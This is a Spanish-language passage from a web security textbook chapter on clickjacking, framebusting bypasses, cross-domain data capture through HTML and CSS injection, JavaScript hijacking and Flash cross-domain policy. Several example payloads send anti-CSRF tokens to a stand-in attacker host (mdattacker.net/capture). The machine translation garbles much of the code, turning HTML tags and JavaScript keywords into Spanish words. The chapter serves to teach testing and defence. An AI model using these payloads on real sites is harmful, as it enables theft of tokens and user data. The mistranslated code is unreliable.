ataque XSS reflejado en otro lugar para derrotar a la defensa. Un script inyectado a
través de esta falla puede realizar una solicitud en el sitio para el primer paso de la
transferencia de fondos, recuperar el token y usarlo para solicitar el segundo paso. El
ataque tiene éxito porque el primer paso de la transferencia, que no está defendido
contra CSRF, devuelve el token necesario para acceder a la página defendida. La
dependencia de solo las cookies HTTP para llegar al primer paso significa que se puede
aprovechar para obtener acceso al token que defiende el segundo paso.
n En algunas aplicaciones, los tokens anti-CSRF están vinculados solo al usuario actual y no a
su sesión. En esta situación, si el formulario de inicio de sesión no está protegido contra
CSRF, aún puede ser posible un exploit de varias etapas. Primero, el atacante inicia sesión
en su propia cuenta para obtener un token anti-CSRF válido que está vinculado a su
identidad de usuario. Luego usa CSRF contra el formulario de inicio de sesión para obligar
al usuario víctima a iniciar sesión con las credenciales del atacante, como ya se describió
para la explotación de vulnerabilidades XSS almacenadas por el mismo usuario.
Una vez que el usuario inicia sesión como atacante, el atacante usa CSRF para hacer que
el usuario emita una solicitud que aproveche el error XSS, usando el token anti-CSRF
adquirido previamente por el atacante. La carga útil XSS del atacante luego se ejecuta en
el navegador del usuario. Dado que el usuario sigue conectado como atacante, es posible
que la carga útil XSS deba cerrar la sesión del usuario e inducirlo a que vuelva a iniciar
sesión, con el resultado de que las credenciales de inicio de sesión del usuario y la sesión
de la aplicación resultante se vean totalmente comprometidas.
n Si los tokens anti-CSRF no están vinculados al usuario sino a la sesión actual, es posible una
variación del ataque anterior si hay algún método disponible para que el atacante inyecte
cookies en el navegador del usuario (como se describe más adelante en este capítulo) . En
lugar de usar un ataque CSRF contra el formulario de inicio de sesión con las propias
credenciales del atacante, el atacante puede enviar directamente al usuario tanto su token
de sesión actual como el token anti CSRF que está vinculado a él. El resto del ataque
continúa como se describió anteriormente.
Aparte de estos escenarios, las sólidas defensas contra los ataques CSRF en muchas
situaciones hacen que sea considerablemente más difícil, si no imposible, explotar algunas
vulnerabilidades XSS reflejadas . Sin embargo, no hace falta decir que cualquier condición XSS en
una aplicación siempre debe corregirse, independientemente de las protecciones anti-CSRF que
puedan, en algunas situaciones, frustrar a un atacante que busca explotarlas.
Reparación de interfaz de usuario
Fundamentalmente, las defensas anti-CSRF que involucran tokens dentro de la página tienen como
objetivo garantizar que las solicitudes realizadas por un usuario se originen a partir de las acciones
de ese usuario dentro de la aplicación misma y no sean inducidas por algún dominio de terceros.
Los ataques de reparación de UI están diseñados para permitir que un sitio de terceros induzca
acciones de usuario en otro dominio, incluso si se utilizan tokens anti-CSRF. Estos ataques
funcionan porque, en el sentido relevante, las solicitudes resultantes en realidad se originan dentro
de la aplicación a la que se dirigen. Las técnicas de reparación de la interfaz de usuario también se
denominan a menudo "clickjacking", "strokejacking" y otras palabras de moda.
En su forma básica, un ataque de reparación de la interfaz de usuario implica que la página
web del atacante cargue la aplicación de destino dentro de un iframe en la página del atacante.
En efecto, el atacante superpone la interfaz de la aplicación de destino con una interfaz diferente
proporcionada por el atacante. La interfaz del atacante contiene contenido para atraer al
usuario e inducirlo a realizar acciones como hacer clic con el mouse en una región particular
de la página. Cuando el usuario realiza estas acciones, aunque parece que está haciendo
clic en los botones y otros elementos de la interfaz de usuario que son visibles en la interfaz
del atacante, está interactuando sin darse cuenta con la interfaz de la aplicación a la que
se dirige.
Por ejemplo, supongamos que una función bancaria para realizar una transferencia de
pago implica dos pasos. En el primer paso, el usuario envía los detalles de la transferencia.
La respuesta a esta solicitud muestra estos detalles, y también un botón para confirmar la
acción y realizar el pago. Además, en un intento por evitar ataques CSRF, el formulario de
la respuesta incluye un campo oculto que contiene un token impredecible. Este token se
envía cuando el usuario hace clic en el botón confi rmar y la aplicación verifica su valor
antes de transferir los fondos.
En el ataque de reparación de la interfaz de usuario, la página del atacante envía la
primera solicitud en este proceso utilizando CSRF convencional. Esto se hace en un iframe
dentro de la página del atacante . Como suele hacer normalmente, la aplicación responde
con los datos del usuario a añadir y un botón para confi rmar la acción. Esta respuesta se
"muestra" dentro del iframe del atacante, que se superpone con la interfaz del atacante
diseñada para inducir a la víctima a hacer clic en la región que contiene el botón de
confirmación . Cuando el usuario hace clic en esta región, sin saberlo, está haciendo clic
en el botón de confirmación en la aplicación de destino, por lo que se crea el nuevo usuario.
Este ataque básico se ilustra en la figura 13-1.
Figura 13-1: Un ataque de reparación de interfaz de usuario básico
La razón por la que este ataque tiene éxito, donde fallaría un ataque CSRF
puro, es que el token anti-CSRF utilizado por la aplicación se procesa de la manera
normal. Aunque la página del atacante no puede leer el valor de este token debido
a la política del mismo origen, el formulario en el iframe del atacante incluye el token
generado por la aplicación, y lo envía de nuevo a la aplicación cuando la víctima, sin darse cuenta,
hace clic en el botón de confirmación. En lo que respecta a la aplicación de destino , todo es normal.
Para lograr el truco clave de hacer que el usuario víctima vea una interfaz pero interactúe
con otra diferente, el atacante puede emplear varias técnicas de CSS. El iframe que carga
la interfaz de destino puede tener un tamaño arbitrario, en una ubicación arbitraria dentro
de la página del atacante y mostrando una ubicación arbitraria dentro de la página de
destino. Usando los atributos de estilo adecuados, se puede hacer completamente
transparente para que el usuario no pueda verlo.
¡INTENTALO!
Desarrollando aún más el ataque básico, el atacante puede usar un código de script complejo
dentro de su interfaz para inducir acciones más elaboradas que simplemente hacer clic en un
botón . Supongamos que un ataque requiere que el usuario ingrese algún texto en un campo de
entrada (por ejemplo, en el campo de cantidad de una página de transferencia de fondos). La
interfaz de usuario del atacante puede contener algún contenido que induzca al usuario a escribir
(por ejemplo, un formulario para ingresar un número de teléfono para ganar un premio). Una
secuencia de comandos en la página del atacante puede manejar de forma selectiva las pulsaciones
de teclas, de modo que cuando se escribe un carácter deseado, el evento de pulsación de tecla
pasa efectivamente a la interfaz de destino para completar el campo de entrada requerido. Si el
usuario escribe un carácter que el atacante no desea ingresar en la interfaz de destino, la pulsación
de tecla no pasa a esa interfaz y el script del atacante espera la siguiente pulsación de tecla.
En otra variación, la página del atacante puede contener contenido que induzca al usuario a
realizar acciones de arrastre del mouse, como un juego simple. La secuencia de comandos que se
ejecuta en la página del atacante puede manejar selectivamente los eventos resultantes de una
manera que hace que el usuario seleccione inadvertidamente texto dentro de la interfaz de la
aplicación de destino y lo arrastre a un campo de entrada en la interfaz del atacante, o viceversa.
Por ejemplo, cuando se dirige a una aplicación de correo web, el atacante podría inducir al usuario
a arrastrar el texto de un mensaje de correo electrónico a un campo de entrada que el atacante
pueda leer. Alternativamente, se puede hacer que el usuario cree una regla para reenviar todo el
correo electrónico al atacante y arrastrar la dirección de correo electrónico requerida desde la
interfaz del atacante al campo de entrada relevante en el formulario que define la regla. Además,
dado que los enlaces y las imágenes se arrastran como URL, el atacante puede inducir acciones
de arrastre para capturar URL confidenciales, incluidos tokens anti-CSRF, desde la interfaz de la
aplicación de destino.
Una explicación útil de estos y otros vectores de ataque, y los métodos por
que pueden ser entregados, se puede encontrar aquí:
http://ui-redressing.mniemietz.de/uiRedressing.pdf
Defensas contra el framebusting
Cuando los ataques de reparación de UI se discutieron ampliamente por primera vez, muchas
aplicaciones web de alto perfil buscaron defenderse de ellos utilizando una técnica defensiva
conocida como framebusting. En algunos casos, esto ya se estaba utilizando para defenderse
de otros ataques basados en marcos.
Framebusting puede tomar varias formas, pero esencialmente implica que cada página relevante
de una aplicación ejecute un script para detectar si se está cargando dentro de un iframe. Si es así,
se intenta "romper" el iframe o se realiza alguna otra acción defensiva, como redirigir a una página
de error o negarse a mostrar la propia interfaz de la aplicación.
Un estudio de la Universidad de Stanford en 2010 examinó las defensas antiframebusting

utilizadas por 500 de los principales sitios web. Descubrió que, en todos los casos, estos podían
eludirse de una forma u otra. Cómo se puede hacer esto depende de los detalles específicos de
cada defensa, pero se puede ilustrar usando un ejemplo común de código de destrucción de tramas:
<script>
if (arriba.ubicación != self.ubicación)
{ top.ubicación = self.ubicación }
</script>
Este código verifica si la URL de la página en sí coincide con la URL del marco superior en la
ventana del navegador. Si no es así, la página se ha cargado dentro de un marco secundario. En
ese caso, la secuencia de comandos intenta salir del marco recargándose en el marco de nivel
superior de la ventana.
Un atacante que realiza un ataque de reparación de la interfaz de usuario puede eludir esta defensa para
encuadre con éxito la página de destino de varias maneras:
n Dado que la página del atacante controla el marco de nivel superior, puede redefinir el
significado de ubicación superior para que se produzca una excepción cuando un marco
secundario intente hacer referencia a él. Por ejemplo, en Internet Explorer, el atacante
puede ejecutar el siguiente código:
var ubicación = 'foo';
Esto redefine la ubicación como una variable local en el marco de nivel superior para que
el código que se ejecuta en un marco secundario no puede acceder a él.
n El marco de nivel superior puede enganchar el evento window.onbeforeunload para que el

controlador de eventos del atacante se ejecute cuando el código de destrucción de marcos
intente establecer la ubicación del marco de nivel superior. El código del atacante puede
realizar una redirección adicional a una URL que devuelve una respuesta HTTP 204 (sin contenido).
Esto hace que el navegador cancele la cadena de llamadas de redirección y deja la URL del
marco de nivel superior sin cambios.
n El marco de nivel superior puede defi nir el atributo de espacio aislado al cargar la
aplicación de destino en un marco secundario. Esto deshabilita las secuencias de
comandos en el marco secundario y deja habilitadas las cookies.
n El marco de nivel superior puede aprovechar el fi ltro XSS de IE para deshabilitar selectivamente
el script de destrucción de marcos dentro del marco secundario, como se describe en el Capítulo
12. Cuando la página del atacante especifica la URL para el objetivo del iframe , puede incluir
un nuevo parámetro cuyo El valor contiene una parte adecuada del script de destrucción de
fotogramas. El fi ltro XSS de IE identifica el código de la secuencia de comandos tanto en el
valor del parámetro como en la respuesta de la aplicación de destino y desactiva la secuencia
de comandos en la respuesta en un esfuerzo por proteger al usuario.
¡INTENTALO!
Prevención de compensación de UI
El consenso actual es que, aunque algunos tipos de código de destrucción de marcos pueden dificultar
los ataques de reparación de la interfaz de usuario en algunas situaciones, no se debe confiar en esta
técnica como una defensa segura contra estos ataques.
Un método más sólido para que una aplicación evite que un atacante enmarque sus páginas es
usar el encabezado de respuesta X-Frame-Options . Se introdujo con Internet Explorer 8 y desde
entonces se ha implementado en la mayoría de los otros navegadores populares. El encabezado X-
Frame-Options puede tomar dos valores. El valor denegar le indica al navegador que evite que la página
sea enmarcada, y sameorigin le indica al navegador que evite que dominios de terceros la enmarquen.
SUGERENCIA Cuando analice las defensas antiframing empleadas dentro de una

aplicación, siempre revise las versiones relacionadas de la interfaz que están diseñadas
para dispositivos móviles. Por ejemplo, aunque wahh-app.com/chat/ podría defenderse
sólidamente contra ataques de framing, es posible que no haya defensas que protejan a
wahh app.com/mobile/chat/. Los propietarios de aplicaciones a menudo pasan por alto las
versiones móviles de la interfaz de usuario cuando diseñan defensas antiframing, tal vez
asumiendo que un ataque de reparación de la interfaz de usuario no sería práctico en un dispositivo móvil.
Sin embargo, en muchos casos, la versión móvil de la aplicación se ejecuta normalmente
cuando se accede mediante un navegador estándar (no móvil), y las sesiones de usuario se
comparten entre ambas versiones de la aplicación.
Captura de datos entre dominios

La política del mismo origen está diseñada para evitar que el código que se ejecuta en un dominio
acceda al contenido entregado desde un dominio diferente. Esta es la razón por la cual los ataques
de falsificación de solicitudes entre sitios a menudo se describen como ataques "unidireccionales". Aunque
un dominio puede causar solicitudes a un dominio diferente, es posible que no lea

fácilmente las respuestas de esas solicitudes para robar los datos del usuario de un
dominio diferente.
De hecho, se pueden usar varias técnicas en algunas situaciones para capturar toda o parte
de una respuesta de un dominio diferente. Estos ataques suelen explotar algún aspecto de la
funcionalidad de la aplicación de destino junto con alguna característica de los navegadores
populares para permitir la captura de datos entre dominios de una manera que la misma política
de origen pretende evitar.
Captura de datos mediante la inyección de HTML
Muchas aplicaciones contienen una funcionalidad que permite a un atacante inyectar HTML
limitado en una respuesta que recibe un usuario diferente de una manera que no llega a una
vulnerabilidad XSS completa. Por ejemplo, una aplicación de correo web puede mostrar correos
electrónicos que contengan algunas marcas HTML, pero bloquee cualquier etiqueta y atributo
que se pueda usar para ejecutar código de secuencia de comandos. O un mensaje de error
generado dinámicamente puede filtrar un rango de expresiones pero aun así permitir un uso limitado de HTML.
En estas situaciones, es posible aprovechar la condición de inyección de HTML para hacer
que los datos confidenciales de la página se envíen al dominio del atacante.
Por ejemplo, en una aplicación de correo web, el atacante puede capturar el contenido de un
mensaje de correo electrónico privado. Alternativamente, el atacante puede leer un token anti-
CSRF que se usa dentro de la página, lo que le permite lanzar un ataque CSRF para reenviar
los mensajes de correo electrónico del usuario a una dirección arbitraria.
Supongamos que la aplicación de correo web permite la inyección de HTML limitado en la
siguiente respuesta:
[inyección de HTML limitada aquí] <acción de

formulario = "http://wahh-mail.com/forwardemail" método = "POST"> <tipo de entrada = "nombre
oculto" = valor "nonce" = "2230313740821"> <tipo de entrada =”enviar” valor=”Adelante”>
...
</formulario>
...
<script>
var _StatsTrackerId='AAE78F27CB3210D';
...
</script>
Después del punto de inyección, la página contiene un formulario HTML que incluye un token
CSRF. En esta situación, un atacante podría inyectar el siguiente texto en la respuesta:
<img src='http://mdattacker.net/capture?html=
Este fragmento de HTML abre una etiqueta de imagen dirigida a una URL en el dominio del
atacante. La URL está encapsulada entre comillas simples, pero la cadena de URL
no se termina y la etiqueta <img> no se cierra. Esto hace que el navegador trate el texto
que sigue al punto de inyección como parte de la URL, hasta que se encuentra una
comilla simple, lo que sucede más adelante en la respuesta cuando aparece una
cadena JavaScript entre comillas. Los navegadores toleran todos los caracteres
intermedios y el hecho de que la URL se extienda por varias líneas.
Cuando el navegador del usuario procesa la respuesta en la que el atacante inyectó,
intenta obtener la imagen especificada y realiza una solicitud a la siguiente URL, enviando
así el token anti-CSRF sensible al atacante.
servidor:
http://mdattacker.net/capture?html=<form%20action=”http://wahh-mail.com/
forwardemail”%20method=”POST”><input%20type=”hidden”%20name=”nonce ”%20value=
“2230313740821”><input%20type=”submit”%20value=”Adelante”>...</form>... <script> var%20_StatsTrackerId=
Un ataque alternativo sería inyectar el siguiente texto:
<forma acción=”http://mdattacker.net/capture” método=”POST”>
Este ataque inyecta una etiqueta <form> dirigida al dominio del atacante antes de la
etiqueta <form> utilizada por la propia aplicación. En esta situación, cuando los navegadores
encuentran la etiqueta <form> anidada , la ignoran y procesan el formulario en el contexto
de la primera etiqueta <form> que encontraron. Por lo tanto, si el usuario envía el formulario,
todos sus parámetros, incluido el token anti-CSRF confidencial, se envían al servidor del
atacante:
POST /capture HTTP/1.1 Tipo de

contenido: application/x-www-form-urlencoded
nonce=2230313740821&...
Dado que este segundo ataque solo inyecta HTML bien formado, puede ser más eficaz
contra los fi ltros diseñados para permitir un subconjunto de HTML en las entradas repetidas.
Sin embargo, también requiere cierta interacción del usuario para tener éxito, lo que puede
reducir su eficacia en algunas situaciones.
Captura de datos inyectando CSS

En los ejemplos discutidos en la sección anterior, fue necesario usar un marcado HTML
limitado en el texto inyectado para capturar parte del dominio cruzado de respuesta. Sin
embargo, en muchas situaciones, la aplicación bloquea o codifica en HTML los caracteres <
y > en la entrada inyectada, lo que impide la introducción de nuevas etiquetas HTML. Las
condiciones de inyección de texto puro como esta son comunes en las aplicaciones web y,
a menudo, se consideran inofensivas.
Por ejemplo, en una aplicación de correo web, un atacante puede introducir texto limitado
en la respuesta de un usuario objetivo a través de la línea de asunto de un correo electrónico.
En esta situación, el atacante puede capturar datos confidenciales entre dominios inyectando
código CSS en la aplicación.
En el ejemplo ya discutido, suponga que el atacante envía un correo electrónico con esta
línea de asunto:
{}*{Familia tipográfica:'
Dado que no contiene metacaracteres HTML, será aceptado por la mayoría de las
aplicaciones y se mostrará sin modificar en las respuestas al usuario receptor. Cuando esto
sucede, la respuesta devuelta al usuario podría verse así:
<html>
<cabeza>
<title>Bandeja de entrada de WahhMail</title>
</cabeza>
<cuerpo>
...
<td>{}*{familia de fuentes:'</td>
...
<form action=”http://wahh-mail.com/forwardemail” method=”POST”> <input type=”hidden”
name=”nonce” value=”2230313740821”> <input type=”submit” value= ”Adelante”>
...
</formulario>
...
<script>
var _StatsTrackerId='AAE78F27CB3210D';
...
</script>
</cuerpo>
</html>
Esta respuesta obviamente contiene HTML. Sorprendentemente, sin embargo, algunos

navegadores permiten cargar esta respuesta como una hoja de estilo CSS y procesan felizmente
cualquier definición CSS que contenga. En el presente caso, la respuesta inyectada define la
propiedad de la familia de fuentes CSS y comienza una cadena entrecomillada como definición de la propiedad.
El texto inyectado por el atacante no cierra la cadena, por lo que continúa con el resto de la
respuesta, incluido el campo de formulario oculto que contiene el token anti-CSRF sensible.
(Tenga en cuenta que no es necesario citar las definiciones de CSS.
Sin embargo, si no lo son, terminan en el siguiente carácter de punto y coma, lo que puede
ocurrir antes de los datos confidenciales que el atacante desea capturar).
Para explotar este comportamiento, un atacante necesita alojar una página en su propio
dominio que incluya la respuesta inyectada como una hoja de estilo CSS. Esto hace que
cualquier definición de CSS incrustada se aplique dentro de la propia página del atacante. Estos pueden
luego ser consultado usando JavaScript para recuperar los datos capturados. Por ejemplo, el
atacante puede alojar una página que contenga lo siguiente:
<enlace rel=”hoja de estilo” href=”https://wahh-mail.com/inbox” type=”text/
css”>
<script>
document.write('<img src=”http://mdattacker.net/capture?' +
escape(document.body.currentStyle.fontFamily) + '”>');
</script>
Esta página incluye la URL relevante de la aplicación de correo web como una hoja de
estilo y luego ejecuta un script para consultar la propiedad de la familia de fuentes , que se
ha definido en la respuesta de la aplicación de correo web. El valor de la propiedad de la
familia de fuentes , incluido el token anti-CSRF confidencial, se transmite al servidor del
atacante a través de una solicitud generada dinámicamente para la siguiente URL:
http://mdattacker.net/capture?%27%3C/td%3E%0D%0A...%0D%0A%3Cform%20 action%3D%22 http%3A//wahh-

mail.com/forwardemail %22%20método%3D%22POST%2 2%3E%0D%0A%3Cinput%2
0tipo%3D%22oculto%22%20nombre%3D%22nonce%22%20valor%3 D%222230313740821%22%3E%0D %
0A%3Centrada%20tipo%3D%22enviar%22%20valor%3D% 22Reenviar%22%3E%0D%0A...%0D%0A%3C/
formulario%3E%0D%0A...%0D%0A% 3Cscript%3E%0D
%0Avar%20_StatsTrackerId%3D%27AAE78F27CB32 10D%27
Este ataque funciona en las versiones actuales de Internet Explorer. Otros navegadores
han modificado su manejo de las inclusiones de CSS para evitar que el ataque funcione, y es
posible que IE también pueda hacer esto en el futuro.
Secuestro de JavaScript
El secuestro de JavaScript proporciona un método adicional para capturar datos entre
dominios, convirtiendo CSRF en un ataque "bidireccional" limitado. Como se describe en el
Capítulo 3, la política del mismo origen permite que un dominio incluya código de secuencia
de comandos de otro dominio, y este código se ejecuta en el contexto del dominio que invoca,
no del dominio emisor. Esta disposición es inofensiva siempre que las respuestas de la
aplicación que son ejecutables mediante un script entre dominios contengan solo código no
confidencial, que es estático y accesible para cualquier usuario de la aplicación. Sin embargo,
muchas de las aplicaciones actuales utilizan JavaScript para transmitir datos confidenciales,
de una forma que no estaba prevista cuando se ideó la política del mismo origen. Además,
los desarrollos en los navegadores significan que una gama cada vez mayor de sintaxis se
está volviendo ejecutable como JavaScript válido, con nuevas oportunidades para capturar datos entre dominios
Los cambios en el diseño de aplicaciones que caen bajo el amplio paraguas "2.0" incluyen
nuevas formas de usar el código JavaScript para transmitir datos confidenciales desde el
servidor al cliente. En muchas situaciones, una forma rápida y eficiente de actualizar la
interfaz de usuario a través de solicitudes asincrónicas al servidor es incluir dinámicamente
un código de script que contenga, de alguna forma, los datos específicos del usuario que
deben mostrarse.
Esta sección examina varias formas en las que el código de secuencia de comandos ejecutado
dinámicamente se puede utilizar para transmitir datos confidenciales. También considera cómo se
puede secuestrar este código para capturar los datos de un dominio diferente.
Devoluciones de llamada de funciones
Considere una aplicación que muestra la información del perfil del usuario actual dentro de
la interfaz de usuario cuando hace clic en la pestaña correspondiente. Para proporcionar
una experiencia de usuario fluida, la información se obtiene mediante una solicitud
asíncrona . Cuando el usuario hace clic en la pestaña Perfil, algún código del lado del
cliente incluye dinámicamente el siguiente script:
https://mdsec.net/auth/420/YourDetailsJson.ashx
La respuesta de esta URL contiene una devolución de llamada a una función ya definida.
que muestra los detalles del usuario dentro de la interfaz de usuario:
mostrarInfoUsuario(
[
[ 'Nombre', 'Mateo Adamson' ],
[ 'Nombre de usuario', 'adammatt' ],
[ 'Contraseña', '4nl1ub3' ],
[ 'Uid', '88' ],
[ 'Rol', 'Usuario' ]
]);
Un atacante puede capturar estos detalles alojando su propia página que

implementa la función showUserInfo e incluye el script que entrega la información
del perfil. Un simple ataque de prueba de concepto es el siguiente:
<script>
función mostrarInfoUsuario(x) { alerta(x); } </script> <script
src=”https://mdsec.net/auth/420/YourDetailsJson.ashx”> </script>
Si un usuario que accede a la página del atacante inicia sesión simultáneamente en la aplicación
vulnerable, la página del atacante incluye dinámicamente el script que contiene la información del perfil del
usuario. Este script llama a la función showUserInfo , tal como la implementó el atacante, y su código recibe
los detalles del perfil del usuario, incluida, en este caso, la contraseña del usuario.
¡INTENTALO!
JSON
En una variación del ejemplo anterior, la aplicación no realiza una devolución de
llamada de función en el script invocado dinámicamente, sino que simplemente
devuelve la matriz JSON que contiene los detalles del usuario:
[
[ 'Nombre', 'Mateo Adamson' ],
[ 'Nombre de usuario', 'adammatt' ],
[ 'Contraseña', '4nl1ub3' ],
[ 'Uid', '88' ],
[ 'Rol', 'Usuario' ]
]
Como se describe en el Capítulo 3, JSON es una notación flexible para representar matrices
de datos y puede ser consumido directamente por un intérprete de JavaScript.
En versiones anteriores de Firefox, era posible realizar un ataque de inclusión de secuencias
de comandos entre dominios para capturar estos datos anulando el constructor Array
predeterminado en JavaScript. Por ejemplo:
<script>
función de captura(s) {
alerta(s);
}
matriz de funciones () {
para (var i = 0; i < 5; i++)
este[i] setter = capturar;
}
</script>
<script src=”https://mdsec.net/auth/409/YourDetailsJson.ashx”>
</script>
Este ataque modifica el objeto Array predeterminado y defi ne una función de establecimiento
personalizada , que se invoca cuando se asignan valores a los elementos de una matriz. Luego
ejecuta la respuesta que contiene los datos JSON. El intérprete de JavaScript consume los datos
JSON, construye una matriz para contener sus valores e invoca la función de establecimiento
personalizado del atacante para cada valor de la matriz.
Desde que se descubrió este tipo de ataque en 2006, el navegador Firefox se ha modificado
para que no se invoquen configuradores personalizados durante la inicialización de la matriz.
Este ataque no es posible en los navegadores actuales.
¡INTENTALO!
Necesita descargar la versión 2.0 de Firefox para aprovechar este ejemplo. Puede
descargarlo desde la siguiente URL:
www.oldapps.com/firefox.php?old_firefox=26
Asignación de variables
Considere una aplicación de redes sociales que hace un uso intensivo de solicitudes
asincrónicas para acciones como actualizar el estado, agregar amigos y publicar comentarios.
Para brindar una experiencia de usuario rápida y fluida, partes de la interfaz de usuario se
cargan mediante scripts generados dinámicamente. Para evitar ataques CSRF estándar,
estos scripts incluyen tokens anti-CSRF que se utilizan al realizar acciones confidenciales.
Dependiendo de cómo se incrusten estos tokens dentro de los scripts dinámicos, es posible
que un atacante capture los tokens al incluir los scripts relevantes entre dominios.
Por ejemplo, suponga que un script devuelto por la aplicación en wahh-network .com
contiene lo siguiente:
...
var nonce = '222230313740821';
...
Un simple ataque de prueba de concepto para capturar el valor de nonce entre

dominios sería el siguiente:
<script src=”https://wahh-network.com/status”>
</script>
<script>
alerta (nonce);
</script>
En un ejemplo diferente, el valor del token se puede asignar dentro de una función:
función setStatus(estado)
{
...
nonce = '222230313740821';
...
}
En esta situación, el siguiente ataque funcionaría:
<script src=”https://wahh-network.com/status”>
</script>
<script>
establecerEstado('a');
alerta (nonce);
</script>
Varias otras técnicas pueden aplicarse en diferentes situaciones con asignaciones

variables. En algunos casos, el atacante puede necesitar implementar una réplica parcial de
la lógica del lado del cliente de la aplicación de destino para poder incluir algunos de sus
scripts y capturar los valores de los elementos confidenciales.
E4X
En el pasado reciente, E4X ha sido un área de rápida evolución, con el comportamiento
del navegador actualizado con frecuencia en respuesta a condiciones explotables que se
han identificado en numerosas aplicaciones del mundo real.
E4X es una extensión de los lenguajes ECMAScript (incluido JavaScript) que agrega soporte
nativo para el lenguaje XML. Actualmente, está implementado en las versiones actuales del
navegador Firefox. Aunque ya se ha solucionado, un ejemplo clásico de captura de datos entre
dominios se puede encontrar en el manejo de E4X por parte de Firefox.
Además de permitir el uso directo de la sintaxis XML dentro de JavaScript, E4X permite llamadas
anidadas a JavaScript desde XML:
var foo=<barra>{prompt('Ingrese el valor de la barra.')}</bar>;
Estas características de E4X tienen dos consecuencias significativas para los ataques de captura
de datos entre dominios:
n Una parte del marcado XML bien formado se trata como un valor que no es
asignado a cualquier variable.
n El texto anidado en un bloque {...} se ejecuta como JavaScript para inicializar la

parte relevante de los datos XML.
Gran parte del HTML bien formado también es XML bien formado, lo que significa que se puede
consumir como E4X. Además, gran parte del HTML incluye código de secuencia de comandos en
un bloque {...} que contiene datos confidenciales. Por ejemplo:
<html>
<cabeza>
<script>
...
función setNonce()
{
nonce = '222230313740821';
}
...
</script>
</cabeza>
<cuerpo>
...
</cuerpo>
</html>
En versiones anteriores de Firefox, era posible realizar una secuencia de comandos entre
dominios que incluía una respuesta HTML completa como esta y hacer que parte del JavaScript
incrustado se ejecutara dentro del dominio del atacante.
Además, en una técnica similar al ataque de inyección de CSS descrito anteriormente, a

veces era posible inyectar texto en los puntos apropiados dentro de la respuesta HTML de una
aplicación de destino para envolver un bloque arbitrario {...} alrededor de los datos confidenciales
contenidos en esa respuesta. Luego, la respuesta completa podría incluirse entre dominios como
un script para capturar los datos envueltos.
Ninguno de los ataques que acabamos de describir funciona en los navegadores actuales. A
medida que continúa este proceso, y se amplía aún más el soporte del navegador para
construcciones sintácticas novedosas , es probable que sean posibles nuevos tipos de captura
de datos entre dominios , dirigidos a aplicaciones que no eran vulnerables a estos ataques antes
de que se introdujeran las nuevas funciones del navegador.
Prevención del secuestro de JavaScript
Deben existir varias condiciones previas antes de que se pueda realizar un ataque de secuestro
de JavaScript . Para prevenir tales ataques, es necesario violar al menos una de estas condiciones
previas. Para proporcionar una defensa en profundidad, se recomienda implementar múltiples
precauciones de manera conjunta:
n En cuanto a las solicitudes que realizan acciones confidenciales, la aplicación debe usar
defensas anti-CSRF estándar para evitar que las solicitudes entre dominios devuelvan
respuestas que contengan datos confidenciales.
n Cuando una aplicación ejecuta dinámicamente código JavaScript desde

su propio dominio, no se limita a usar etiquetas <script> para incluir el script.
Debido a que la solicitud es en el sitio, el código del lado del cliente puede usar
XMLHttpRequest para recuperar la respuesta sin procesar y realizar un procesamiento
adicional antes de que se ejecute como secuencia de comandos. Esto significa que la
aplicación puede insertar JavaScript no válido o problemático al comienzo de la
respuesta, que la aplicación cliente elimina antes de que se procese. Por ejemplo, el
siguiente código provoca un bucle infinito cuando se ejecuta con un script incluido,
pero se puede eliminar antes de la ejecución cuando se accede al script mediante XMLHttpRequest:
por(;;);
n Debido a que la aplicación puede usar XMLHttpRequest para recuperar código de script
dinámico , puede usar solicitudes POST para hacerlo. Si la aplicación solo acepta
solicitudes POST para código de secuencia de comandos potencialmente vulnerable,
evita que los sitios de terceros las incluyan mediante etiquetas <script> .
La política del mismo origen revisada
Este capítulo y el anterior han descrito numerosos ejemplos de cómo se aplica la política del
mismo origen a HTML y JavaScript, y las formas en que se puede eludir a través de errores de
aplicación y peculiaridades del navegador.
Para comprender más completamente las consecuencias de la política del mismo origen
para la seguridad de las aplicaciones web, esta sección examina algunos contextos
adicionales en los que se aplica la política y cómo pueden surgir ciertos ataques entre
dominios en esos contextos.
La política del mismo origen y las extensiones del navegador

Todas las tecnologías de extensión del navegador que se implementan ampliamente
implementan la segregación entre dominios de una manera que se deriva de los mismos
principios básicos que la política del mismo origen del navegador principal. Sin embargo,
existen algunas características únicas en cada caso que pueden permitir ataques entre dominios en algunos
situaciones
La política del mismo origen y Flash

Los objetos Flash tienen su origen determinado por el dominio de la URL desde la que se
carga el objeto, no por la URL de la página HTML que carga el objeto. Al igual que con la
política del mismo origen en el navegador, la segregación se basa en el protocolo, el nombre
de host y el número de puerto de forma predeterminada.
Además de la interacción bidireccional completa con el mismo origen, los objetos Flash
pueden iniciar solicitudes entre dominios a través del navegador, utilizando la API URLRequest .
Esto brinda más control sobre las solicitudes de lo que es posible con técnicas puras de
navegador, incluida la capacidad de especificar un encabezado de tipo de contenido arbitrario
y enviar contenido arbitrario en el cuerpo de las solicitudes POST . Las cookies del contenedor
de cookies del navegador se aplican a estas solicitudes, pero las respuestas de las solicitudes
de origen cruzado no pueden ser leídas de manera predeterminada por el objeto Flash que
las inició.
Flash incluye una función para que los dominios otorguen permiso a los objetos Flash de
otros dominios para realizar una interacción bidireccional completa con ellos. Esto generalmente
se hace mediante la publicación de un archivo de política en la URL /crossdomain.xml en el
dominio que otorga el permiso. Cuando un objeto Flash intenta realizar una solicitud
bidireccional entre dominios, la extensión del navegador Flash recupera el archivo de política
del dominio solicitado y permite la solicitud solo si el dominio solicitado otorga acceso al
dominio solicitante.
Este es un ejemplo del archivo de política de Flash publicado por www.adobe.com:
<?versión xml=”1.0”?>
<política-de-dominios-cruzados>
<control-del-sitio-permitido-policías-de-dominios-cruzados=”por-tipo-de-contenido”/> <permitir-acceso-desde-
dominio=”*.macromedia.com” />
<permitir-acceso-desde-dominio=”*.adobe.com” />
<permitir-acceso-desde-dominio=”*.photoshop.com” /> <permitir-acceso-desde-
dominio=”*.acrobat.com” />
</cross-domain-policy>
PASOS DE HACK
Siempre debe buscar el archivo /crossdomain.xml en cualquier aplicación web que esté
probando. Incluso si la aplicación en sí no usa Flash, si se otorga permiso a otro dominio, los
objetos Flash emitidos por ese dominio pueden interactuar con el dominio que publica la política.
n Si la aplicación permite el acceso sin restricciones (especificando <permitir

